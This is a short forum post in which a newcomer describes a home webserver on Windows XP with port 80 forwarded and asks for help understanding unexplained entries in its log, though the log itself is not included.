Ok guys, here it is, I'm new to all this security stuff, but it really interests me.

Anyways, today I had a webserver setup on my computer running Win XP home on cable. The webserver is a pretty simple program where I just have to put what I want to share, or an .html file in the webroot folder and set my router to forward everything on port 80 to my computer on our home network. When I run the server I always use the logging feature, I dont have scripting enabled, and I have a pretty good idea of whats coming and going via the firewall I use. Today after I ran it for a few hours I found this in the log. I dont know **** about them, but I was wondering if maybe you awesome dudes could help a newbie out.
